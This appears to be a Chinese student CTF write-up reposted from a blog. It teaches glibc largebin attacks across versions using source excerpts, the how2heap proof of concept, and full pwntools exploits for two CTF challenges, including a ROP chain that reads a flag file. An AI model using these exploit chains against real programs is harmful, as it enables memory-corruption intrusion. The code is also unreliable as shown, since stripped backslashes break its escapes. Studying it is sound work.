皮蛋厂的学习日记 | 2022.4.21 跟上时代之高版本GLIBC下堆利用(三)

admin 2022年4月22日00:18:56程序逆向评论6 views18753字阅读62分30秒阅读模式

皮蛋厂的学习日记系列为山东警察学院网安社成员日常学习分享,希望能与大家共同学习、共同进步~

  • 2020级 大能猫 | 跟上时代之高版本GLIBC下堆利用(三)

    • 前言

    • 缅怀过去

    • 关于largebin attack的过去

    • 关于如今的largebin attack

    • 常见利用方式

    • 题目实例

    • 后记

    • 参考链接


2020级 大能猫 | 跟上时代之高版本GLIBC下堆利用(三)

文章首发自奇安信

前言

说到向任意地址上写一个较大的数值,下意识绝对会想到unsorted bin attack,在一些较低版本的题目中unsorted bin attack是奏效的,但是在glibc-2.29之后,增加了一些保护unsorted bin attack这种利用方法基本上是不能用了。不过可以找到替代的利用方法。就像上一篇文章我们所讲到的Tcache Stashing Unlink Attack,可以实现向任意指定位置写入可控的值。而有一个新的利用方法largebin attack可以任意地址写一个堆地址,这样来看的话不需要leak_heap_addr就可以将可控制堆块的地址写入目标地址。

缅怀过去

感谢unsorted bin attack在glibc-2.29之前为pwn做出的贡献。

还是要简单的说一下unsorted bin attack的利用原理的:Unsorted Bin在使用过程中,采用的遍历顺序是FIFO(先进先出),即挂进链表的时候依次从Unsorted bin的头部向尾部挂,取的时候是从尾部向头部取。在程序malloc时,如果fast bin、small bin中找不到对应大小的chunk,就会尝试从Unsorted bin中寻找chunk。如果取出来的chunk的size刚好满足,则直接交给用户,否则就会把这些chunk分别插入到对应的bin中。结合源码来看

/* remove from unsorted list */
if (__glibc_unlikely (bck->fd != victim))
    malloc_printerr ("malloc(): corrupted unsorted chunks 3");
unsorted_chunks (av)->bk = bck;
bck->fd = unsorted_chunks (av);

unsortedbin的bk指针指向的是后一个释放的堆块地址,那么如果我们能够控制unsortedbin的bk指针指向一个可写的地址内,就可以向其地址写上一个unsorted bin的地址。

关于largebin attack的过去

关于在glibc-2.29之前的largebin attack,是在申请largebin的过程中,伪造largebin的bk_nextsize,实现非预期内存申请。这种利用的关键在于伪造一个largebin chunk,然后将fake chunk申请出来。

largebin的分配源码是这样的:

可以看到largebin中并不是像其他bin一样存放的都是大小相同的chunk,在largebin中存储的是大小不同的chunk,所以这就应声而出了两个largebin chunk特有的两个字段——fd_nextsize和bk_nextsize。largebin中的chunk按照大小排序,fd_nextsize指向下一个比当前chunk大小小的第一个空闲块,bk_nextsize指向前一个比当前chunk大小大的第一个空闲chunk,这样的结构有利于程序更好的遍历largebin中的堆块。

/*
         If a large request, scan through the chunks of current bin in
         sorted order to find smallest that fits.  Use the skip list for this.
       */

      if (!in_smallbin_range (nb))
        {
          bin = bin_at (av, idx);

          /* skip scan if empty or largest chunk is too small */
          if ((victim = first (bin)) != bin &&  //获取链表的第一个chunk
              (unsigned long) (victim->size) >= (unsigned long) (nb))
            {
              victim = victim->bk_nextsize;  //反向遍历,chunk size链表,直到找到第一个大于等于所需chunk大小的chunk退出循环
              while (((unsigned long) (size = chunksize (victim)) <
                      (unsigned long) (nb)))
                victim = victim->bk_nextsize;

              /* Avoid removing the first entry for a size so that the skip
                 list does not have to be rerouted.  */
              if (victim != last (bin) && victim->size == victim->fd->size)
                victim = victim->fd;

              remainder_size = size - nb;
              unlink (av, victim, bck, fwd); //large bin的unlink操作

              /* Exhaust */
              if (remainder_size < MINSIZE)
                {
                  set_inuse_bit_at_offset (victim, size);
                  if (av != &main_arena)
                    victim->size |= NON_MAIN_ARENA;
                }
              /* Split */
              else
                {
                  remainder = chunk_at_offset (victim, nb);
                  /* We cannot assume the unsorted list is empty and therefore
                     have to perform a complete insert here.  */
                  bck = unsorted_chunks (av);
                  fwd = bck->fd;
      if (__glibc_unlikely (fwd->bk != bck))
                    {
                      errstr = "malloc(): corrupted unsorted chunks";
                      goto errout;
                    }
                  remainder->bk = bck;
                  remainder->fd = fwd;
                  bck->fd = remainder;
                  fwd->bk = remainder;
                  if (!in_smallbin_range (remainder_size))
                    {
                      remainder->fd_nextsize = NULL;
                      remainder->bk_nextsize = NULL;
                    }
                  set_head (victim, nb | PREV_INUSE |
                            (av != &main_arena ? NON_MAIN_ARENA : 0));
                  set_head (remainder, remainder_size | PREV_INUSE);
                  set_foot (remainder, remainder_size);
                }
              check_malloced_chunk (av, victim, nb);
              void *p = chunk2mem (victim);
              alloc_perturb (p, bytes);
              return p;
            }
        }

实例-2017lctf-2ez4u

我们主要是了解largebin attack的利用,题目的逆向部分我们简单描述一下:程序保护全开,经典的菜单题目,增查删改一应俱全,free函数里面存在uaf漏洞,在free堆块之后没有将堆块指针清零。

leak_heap_addr

通过释放两个largebin大小的堆块,使他们构成一条largebin的链子,这样的话chunk中的fd_nextsize与bk_nextsize会被赋值,再利用UAF打印即可得到堆块地址。

add(0x60,  '0'*0x60 ) # 0
add(0x60,  '1'*0x60 ) # 1
add(0x60,  '2'*0x60 ) # 2
add(0x60,  '3'*0x60 ) # 3
add(0x60,  '4'*0x60 ) # 4
add(0x60,  '5'*0x60 ) # 5
add(0x60,  '6'*0x60 ) # 6
add(0x3f0, '7'*0x3f0) # 7
add(0x30,  '8'*0x30 ) # 8
add(0x3e0, '9'*0x3d0) # 9 
add(0x30,  'a'*0x30 ) # a
add(0x3f0, 'b'*0x3e0) # b 
add(0x30,  'c'*0x30 ) # c
dele(0x9)  ##释放第一个大块
dele(0xb)  ##释放第二个大块
dele(0x0)
gdb.attach(io)
add(0x400, '0'*0x400)  #申请一个较大的块,使得unsorted bin数组清空
# leak
show(0xb)  ##泄露得到堆地址
io.recvuntil('num: ')
print hex(c_uint32(int(io.recvline()[:-1])).value)
io.recvuntil('description:')
HEAP = u64(io.recvline()[:-1]+'x00x00')-0x7e0
log.info("heap base 0x%016x" % HEAP)
伪造largebin chunk

在上一步泄露了heap地址,剩下的前期任务就是要泄露libc。使用的方法就是利用的伪造largebin chunk。不需要将伪造的堆块释放,修改之前被释放堆块的bk_nextsize字段即可,对应到源代码中代码即victim = victim->bk_nextsize,这一点使用UAF即可做到,但想要将该堆块申请出来,还需要绕过unlink的限制,这也可以通过UAF实现。在可以将伪造的堆块申请出来之后,我们可以在伪造的堆块中包含有正常的small bin,这样就可以达到泄露出libc地址以及修改内存的目的。

target_addr = HEAP+0xb0     # 1
chunk1_addr = HEAP+0x130    # 2
chunk2_addr = HEAP+0x1b0    # 3
victim_addr = HEAP+0xc30    # b
# large bin attack
edit(0xb, p64(chunk1_addr))             # victim  ##修改victim = victim->bk_nextsize,伪造堆块开始
edit(0x1, p64(0x0)+p64(chunk1_addr))    # target ##这一步是为了绕过unlink的fd与bk检查
chunk2  = p64(0x0)
chunk2 += p64(0x0)
chunk2 += p64(0x421)
chunk2 += p64(0x0)
chunk2 += p64(0x0)
chunk2 += p64(chunk1_addr)  ##这一步是为了绕过fd_nextsize与bk_nextsize检查
edit(0x3, chunk2) # chunk2
chunk1  = ''
chunk1 += p64(0x0)
chunk1 += p64(0x0)
chunk1 += p64(0x411)
chunk1 += p64(target_addr-0x18)
chunk1 += p64(target_addr-0x10)
chunk1 += p64(victim_addr)
chunk1 += p64(chunk2_addr)  ##伪造的堆块
edit(0x2, chunk1) # chunk1
edit(0x7, '7'*0x198+p64(0x410)+p64(0x411))  ##伪造的堆块后加上结构体。
dele(0x6)
dele(0x3)
add(0x3f0, '3'*0x30+p64(0xdeadbeefdeadbeef)) # chunk1, arbitrary write !!!!!!! ##将伪造的堆块申请出来,从此便可为所欲为。。。
add(0x60,  '6'*0x60 ) 
show(0x3) ##伪造的堆块中包含small bin,泄露libc地址
io.recvuntil('3'*0x30)
io.recv(8)
LIBC = u64(io.recv(6)+'x00x00')-0x3c4be8
log.info("libc base 0x%016x" % LIBC)

剩下的就是简单的利用uaf和fastbin attack hijack free_hook为system。

关于如今的largebin attack

在新出的glibc版本中如2.31(目前比赛主流的版本)增加了两个检查使得之前的largebin attack没有办法使用惹

检查一

if (__glibc_unlikely (fwd->bk_nextsize->fd_nextsize != fwd))
    malloc_printerr ("malloc(): largebin double linked list corrupted (nextsize)");

检查二

if (bck->fd != fwd)
malloc_printerr ("malloc(): largebin double linked list corrupted (bk)");

凡是需要找个实例

这次还是找到了how2heap的largebin_attack.c

皮蛋厂的学习日记 | 2022.4.21 跟上时代之高版本GLIBC下堆利用(三)

代码如下:

#include<stdio.h>
#include<stdlib.h>
#include<assert.h>

/*

A revisit to large bin attack for after glibc2.30

Relevant code snippet :

    if ((unsigned long) (size) < (unsigned long) chunksize_nomask (bck->bk)){
        fwd = bck;
        bck = bck->bk;
        victim->fd_nextsize = fwd->fd;
        victim->bk_nextsize = fwd->fd->bk_nextsize;
        fwd->fd->bk_nextsize = victim->bk_nextsize->fd_nextsize = victim;
    }


*/

int main(){
  /*Disable IO buffering to prevent stream from interfering with heap*/
  setvbuf(stdin,NULL,_IONBF,0);
  setvbuf(stdout,NULL,_IONBF,0);
  setvbuf(stderr,NULL,_IONBF,0);

  printf("nn");
  printf("Since glibc2.30, two new checks have been enforced on large bin chunk insertionnn");
  printf("Check 1 : n");
  printf(">    if (__glibc_unlikely (fwd->bk_nextsize->fd_nextsize != fwd))n");
  printf(">        malloc_printerr ("malloc(): largebin double linked list corrupted (nextsize)");n");
  printf("Check 2 : n");
  printf(">    if (bck->fd != fwd)n");
  printf(">        malloc_printerr ("malloc(): largebin double linked list corrupted (bk)");nn");
  printf("This prevents the traditional large bin attackn");
  printf("However, there is still one possible path to trigger large bin attack. The PoC is shown below : nn");

  printf("====================================================================nn");

  size_t target = 0;
  printf("Here is the target we want to overwrite (%p) : %lunn",&target,target);
  size_t *p1 = malloc(0x428);
  printf("First, we allocate a large chunk [p1] (%p)n",p1-2);
  size_t *g1 = malloc(0x18);
  printf("And another chunk to prevent consolidaten");

  printf("n");

  size_t *p2 = malloc(0x418);
  printf("We also allocate a second large chunk [p2]  (%p).n",p2-2);
  printf("This chunk should be smaller than [p1] and belong to the same large bin.n");
  size_t *g2 = malloc(0x18);
  printf("Once again, allocate a guard chunk to prevent consolidaten");

  printf("n");

  free(p1);
  printf("Free the larger of the two --> [p1] (%p)n",p1-2);
  size_t *g3 = malloc(0x438);
  printf("Allocate a chunk larger than [p1] to insert [p1] into large binn");

  printf("n");

  free(p2);
  printf("Free the smaller of the two --> [p2] (%p)n",p2-2);
  printf("At this point, we have one chunk in large bin [p1] (%p),n",p1-2);
  printf("               and one chunk in unsorted bin [p2] (%p)n",p2-2);

  printf("n");

  p1[3] = (size_t)((&target)-4);
  printf("Now modify the p1->bk_nextsize to [target-0x20] (%p)n",(&target)-4);

  printf("n");

  size_t *g4 = malloc(0x438);
  printf("Finally, allocate another chunk larger than [p2] (%p) to place [p2] (%p) into large binn", p2-2, p2-2);
  printf("Since glibc does not check chunk->bk_nextsize if the new inserted chunk is smaller than smallest,n");
  printf("  the modified p1->bk_nextsize does not trigger any errorn");
  printf("Upon inserting [p2] (%p) into largebin, [p1](%p)->bk_nextsize->fd->nexsize is overwritten to address of [p2] (%p)n", p2-2, p1-2, p2-2);

  printf("n");

  printf("In out case here, target is now overwritten to address of [p2] (%p), [target] (%p)n", p2-2, (void *)target);
  printf("Target (%p) : %pn",&target,(size_t*)target);

  printf("n");
  printf("====================================================================nn");

  assert((size_t)(p2-2) == target);

  return 0;
}

从此poc调试中去学习一下新型largebin attack的工作过程

首先是程序申请了4个堆块分别为0x428、0x18、0x418、0x18

申请的g1和g2是为了防止两个比较大的堆块合并.

0x55555575a000 PREV_INUSE {
  mchunk_prev size = 0x0,
  mchunksize = 0x291,
  fd = 0x0,
  bk = 0x0,
  fd nextsize = 0x0,
  bk nextsize = 0x0,
}
0x55555575a290 PREV_INUSE {
  mchunk_prev size = 0x0,
  mchunksize = 0x431,
  fd = 0x0,
  bk = 0x0,
  fd nextsize = 0x0,
  bk nextsize = 0x0,
}
0x55555575a6c0     FASTBIN {
  mchunk_prev size = 0x0,
  mchunksize = 0x21,
  fd = 0x0,
  bk = 0x0,
  fd nextsize = 0x0,
  bk nextsize = 0x421,
}
0x55555575a6e0 PREV_INUSE {
  mchunk_prev size = 0x0,
  mchunksize = 0x421,
  fd = 0x0,
  bk = 0x0,
  fd nextsize = 0x0,
  bk nextsize = 0x0,
}
0x55555575ab00 PREV_INUSE {
  mchunk_prev size = 0x0,
  mchunksize = 0x20501,
  fd = 0x0,
  bk = 0x0,
  fd nextsize = 0x0,
  bk nextsize = 0x0,
}

再往后释放了p1堆块,到unsorted bin中

unsortedbin
all: 0x55555575a290 -> 0x7ffff7fc1be0 (main arena+96) <- 0x55555575a290

之后有分配了一个比p1大的堆块使得p1堆块能够进入largebin中

largebins
0x400: 0x55555575a290 -> 0x7ffff7fc1fd0 (main arena+1104) <- 0x55555575a290
pwndbg>

然后程序free p2堆块进入到unsorted bin中

unsortedbin
all: 0x55555575a6e0 -> 0x7ffff7fc1be0 (main_arena+96) <- 0x55555575abe0
smallbins
empty
largebins
0x400: 0x55555575a290 -> 0x7ffff7fc1fd0 (main arena+1104) <- 0x55555575a290
pwndbg>l

然后就是修改了p1chunk的bk_nextsize指向target-0x20

修改前:
0000000000000000  0000000000000431
00007ffff7fc1fd0  00007ffff7fc1fd0
000055555575a290  000055555575a290
0000000000000000  0000000000000000
修改之后:
0000000000000000  0000000000000431
00007ffff7fc1fd0  00007ffff7fc1fd0
000055555575a290  00007fffffffddc0
0000000000000000  0000000000000000
0000000000000000  0000000000000000

此时target-0x20的值为0x7fffffffddc0。

下面的这一步就要用到如下的代码了:

if ((unsigned long) (size) < (unsigned long) chunksize_nomask (bck->bk)){
    fwd = bck;
    bck = bck->bk;
    victim->fd_nextsize = fwd->fd;
    victim->bk_nextsize = fwd->fd->bk_nextsize;
    fwd->fd->bk_nextsize = victim->bk_nextsize->fd_nextsize = victim;
}

程序下一步是malloc了一个比p2还要大的堆块,与p1同理,这个时候p2就会从unsortedbin中放入largebin中。此时就用到了上面的关键代码。victim 是我们的 p2,fwd 为 largebin 的链表头,bck为 largebin 中的最后一个chunk,也就是最小的那个,也就是我们这里的 p1。

取上边代码最关键的三行

    victim->fd_nextsize = fwd->fd;
    victim->bk_nextsize = fwd->fd->bk_nextsize;
    fwd->fd->bk_nextsize = victim->bk_nextsize->fd_nextsize = victim;

根据我们分析到的实际问题进行实体性简化:

p2->fd_nextsize = &p1
p2->bk_nextsize = p1->bk_nextsize
p1->bk_nextsize = bk_nextsize->fd_nextsize = victim

然后我们是将p1的bk_nextsize改为了target-0x20,所以就可以得到这样的表识:

p2->fd_nextsize = &p1
p2->bk_nextsize = p1->bk_nextsize
p1->bk_nextsize = (target-0x20)->fd_nextsize = victim

其实,这三行置零最重要的是最后一行的(target-0x20)->fd_nextsize = victim这就相当于在(target-0x20)+0x20也就是target的地方写下victim也就是p2的地址。

常见利用方式

这种写大数的行为,我们可以用来修改global_max_fast,来使程序中分配的堆块都被识别成fastbin,这样来进行一些可以实现的fastbin attack。再恶劣一点的环境来说,我们可以利用其来进行指针的劫持,劫持为我们可控的地方,在可控的地方为造出原本应有的结构体产生劫持程序流的效果(iofile_attack:你直接说我名字得了)。

题目实例

2021湖湘杯2.34的pwn——husk,chunk申请范围是0x40f到0x500,漏洞是uaf

我们利用这个方式就是:通过两次largebin attack将已知地址写入结构体指针tls_dtor_listfs:0x30(tcbhead_t->pointer_guard)里,然后风水布置堆块,伪造dtor_list结构体,接下来就是利用__call_tls_dtors函数来调用我们的指针。

一点回顾

在系列文章第一篇最后写到了比较方便的gadget去间接控制rdx寄存器就是这里用到了

mov     rdx, [rdi+8]
mov     [rsp+0C8h+var_C8], rax
call    qword ptr [rdx+20h]

可以通过这个gadget通过rdi来控制rdx寄存器。

exp:

附上网传exp:

#!/usr/bin/env python3
#coding=utf-8
from pwn import*
import os
context.log_level = 'debug'
context.arch='amd64'
binary = './pwn' 
main_arena = 2198624
s = lambda buf: io.send(buf)
sl = lambda buf: io.sendline(buf)
sa = lambda delim, buf: io.sendafter(delim, buf)
sal = lambda delim, buf: io.sendlineafter(delim, buf)
shell = lambda: io.interactive()
r = lambda n=None: io.recv(n)
ra = lambda t=tube.forever:io.recvall(t)
ru = lambda delim: io.recvuntil(delim)
rl = lambda: io.recvline()
rls = lambda n=2**20: io.recvlines(n)
su = lambda buf,addr:io.success(buf+"==>"+hex(addr))
#context.terminal = ['tilix', '-x', 'sh', '-c']
#context.terminal = ['tilix', 'splitw', '-v']
local = 1
if local == 1:
    io=process(binary)
else:
    io=remote()
elf=ELF(binary)
#libc = ELF("/lib/i386-linux-gnu/libc.so.6")
libc=ELF("/lib/x86_64-linux-gnu/libc.so.6")
def add(index,size,flag=1):
    pay = b'x01'
    pay += p8(index)
    pay += p16(size)
    if flag == 1:
        pay += b'x05'
        ru("Pls input the opcoden")
        s(pay)
    else:
        return pay

def free(index,flag=1):
    pay = b'x02'
    pay += p8(index)
    if flag == 1:
        pay += b'x05'
        ru("Pls input the opcoden")
        s(pay)
    else:
        return pay

def show(index,flag=1):
    pay = b'x03'
    pay += p8(index)
    if flag == 1:
        pay += b'x05'
        ru("Pls input the opcoden")
        s(pay)
    else:
        return pay

def edit(index,size,content,flag=1):
    pay = b'x04'
    pay += p8(index)
    pay += p16(size)
    pay += content
    if flag == 1:
        pay += b'x05'
        ru("Pls input the opcoden")
        s(pay)
    else:
        return pay

add(0,0x410)#0
add(1,0x460)#1
add(2,0x418)#2
add(3,0x440)#3
add(4,0x410)#4
#---free(1) and show(1)---
pay = free(1,0)
pay += show(1,0)
pay += b'x05'
ru("Pls input the opcoden")
s(pay)
#-------------------------
#---------leak------------
libc_base = u64(ru(b'x7f')[-6:].ljust(0x8,b'x00')) - main_arena - 96
su('libc_base',libc_base)
pointer_guard_addr = libc_base - 0x2890
tls_dtor_list_addr = libc_base - 0x2918
su('pointer_guard_addr',pointer_guard_addr)
su('tls_dtor_list_addr',tls_dtor_list_addr)
set_context = libc_base + libc.sym['setcontext'] + 61
fh = libc.sym['__free_hook']+libc_base
#0x000000000005dfd1 : mov rax, rdi ; ret 
#0x0000000000169e90 : mov rdx, qword ptr [rdi + 8] ; mov qword ptr [rsp], rax ; call qword ptr [rdx + 0x20]
binsh_addr = libc_base + next(libc.search(b'/bin/sh'))
ret = libc_base + libc.sym['setcontext'] + 334
syscall = next(libc.search(asm("syscallnret")))+libc_base
#---------------------------------------
#------largebin attack and leak heap----
pay = free(3,0)
pay += edit(1,0x20,p64(0)*3+p64(pointer_guard_addr-0x20),0)
pay += add(5,0x500,0)#5
pay += show(1,0)
pay += b'x05'
ru("Pls input the opcoden")
s(pay)
ru('Malloc Donen')
heap = u64(r(6).ljust(8,b'')) - 0x2f50
su('heap',heap)
pay = edit(1,0x20,p64(heap+0x2f50)+p64(libc_base+main_arena+1120)+p64(heap+0x2f50)+p64(heap+0x2f50),0)
pay += edit(3,0x20,p64(libc_base+main_arena+1120)+p64(heap+0x26c0)+p64(heap+0x26c0)+p64(heap+0x26c0),0)
pay += b'x05'
ru("Pls input the opcoden")
s(pay)
#---------------------------------------
add(1,0x460)#1
add(3,0x440)#3
#------largebin attack ------------------
free(1)
pay = free(3,0)
pay += edit(1,0x20,p64(0)*3+p64(tls_dtor_list_addr-0x20),0)
pay += add(5,0x500,0)#5
pay += show(1,0)
pay += b'x05'
ru("Pls input the opcoden")
s(pay)
ru('Malloc Donen')
heap = u64(r(6).ljust(8,b'')) - 0x2f50
su('heap',heap)
pay = edit(1,0x20,p64(heap+0x2f50)+p64(libc_base+main_arena+1120)+p64(heap+0x2f50)+p64(heap+0x2f50),0)
pay += edit(3,0x20,p64(libc_base+main_arena+1120)+p64(heap+0x26c0)+p64(heap+0x26c0)+p64(heap+0x26c0),0)
pay += b'x05'
ru("Pls input the opcoden")
s(pay)
#---------------------------------------
#0x0000000000169e90 : mov rdx, qword ptr [rdi + 8] ; mov qword ptr [rsp], rax ; call qword ptr [rdx + 0x20]
#--------------------------------------
pay = add(1,0x460,0)#1
pay+=free(2,0)#0
pay+=add(2,0x430,0)#1
pay += b'x05'
ru("Pls input the opcoden")
s(pay)
#--------------------------------------
rop = (0x0000000000169e90+libc_base)^(heap+0x2f50)
rop = ((rop>>(64-0x11))|(rop<<0x11))
pay = b''.ljust(0x410,b's')+p64(rop)+p64(heap+0x26d0)
edit(2,len(pay),pay)
gdb.attach(io)
payload = p64(0)+p64(heap+0x26d0)+p64(0)+p64(0)+p64(set_context)
payload = payload.ljust(0x70,b'')+p64(fh&0xfffffffffffff000)#rsi
payload = payload.ljust(0x68,b'')+p64(0)#rdi
payload = payload.ljust(0x88,b'')+p64(0x2000)#rdx
payload = payload.ljust(0xa0,b'')+p64((fh&0xfffffffffffff000)+8)#bytes(frame)
payload = payload.ljust(0xa0,b'')+p64(syscall)#rip
edit(1,len(payload),payload)#make rdx = chunk3
add(1,0x550)
ru(b'ERRORn')
pop_rdx_r12_ret = 0x0000000000122431+libc_base
layout = [next(libc.search(asm('pop rdinret')))+libc_base
    ,fh&0xfffffffffffff000
    ,next(libc.search(asm('pop rsinret')))+libc_base
    ,0
    ,p64(pop_rdx_r12_ret)
    ,p64(0)
    ,p64(0)
    ,next(libc.search(asm('pop raxnret')))+libc_base
    ,2
    ,syscall
    ,next(libc.search(asm('pop rdinret')))+libc_base
    ,3
    ,next(libc.search(asm('pop rsinret')))+libc_base
    ,(fh&0xfffffffffffff000)+0x200
    ,p64(pop_rdx_r12_ret)
    ,p64(0x30)
    ,p64(0)
    ,next(libc.search(asm('pop raxnret')))+libc_base
    ,0
    ,syscall
    ,next(libc.search(asm('pop rdinret')))+libc_base
    ,1
    ,next(libc.search(asm('pop rsinret')))+libc_base
    ,(fh&0xfffffffffffff000)+0x200
    ,p64(pop_rdx_r12_ret)
    ,p64(0x30)
    ,p64(0)
    ,next(libc.search(asm('pop raxnret')))+libc_base
    ,1
    ,syscall]
shellcode=b'./flag'.ljust(8,b'x00')+flat(layout)
gdb.attach(proc.pidof(io)[0])
s(shellcode)
shell()

后记

我认为在这么卷的时代,这种新的利用方式将成为之后的主流攻击方式。

参考链接

(11条消息) glibc-2.29 large bin attack 原理_TUANZI_Dum的博客-CSDN博客

(11条消息) 好好说话之Unsorted Bin Attack_hollk的博客-CSDN博客

Largebin Attack for Glibc 2.31 - 安全客,安全资讯平台 (anquanke.com)


原文始发于微信公众号(山警网络空间安全实验室):皮蛋厂的学习日记 | 2022.4.21 跟上时代之高版本GLIBC下堆利用(三)

特别标注: 本站(CN-SEC.COM)所有文章仅供技术研究,若将其信息做其他用途,由用户承担全部法律及连带责任,本站不承担任何法律及连带责任,请遵守中华人民共和国安全法.
  • 我的微信
  • 微信扫一扫
  • weinxin
  • 我的微信公众号
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2022年4月22日00:18:56
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                  皮蛋厂的学习日记 | 2022.4.21 跟上时代之高版本GLIBC下堆利用(三) http://cn-sec.com/archives/932787.html

发表评论

匿名网友 填写信息

:?: :razz: :sad: :evil: :!: :smile: :oops: :grin: :eek: :shock: :???: :cool: :lol: :mad: :twisted: :roll: :wink: :idea: :arrow: :neutral: :cry: :mrgreen: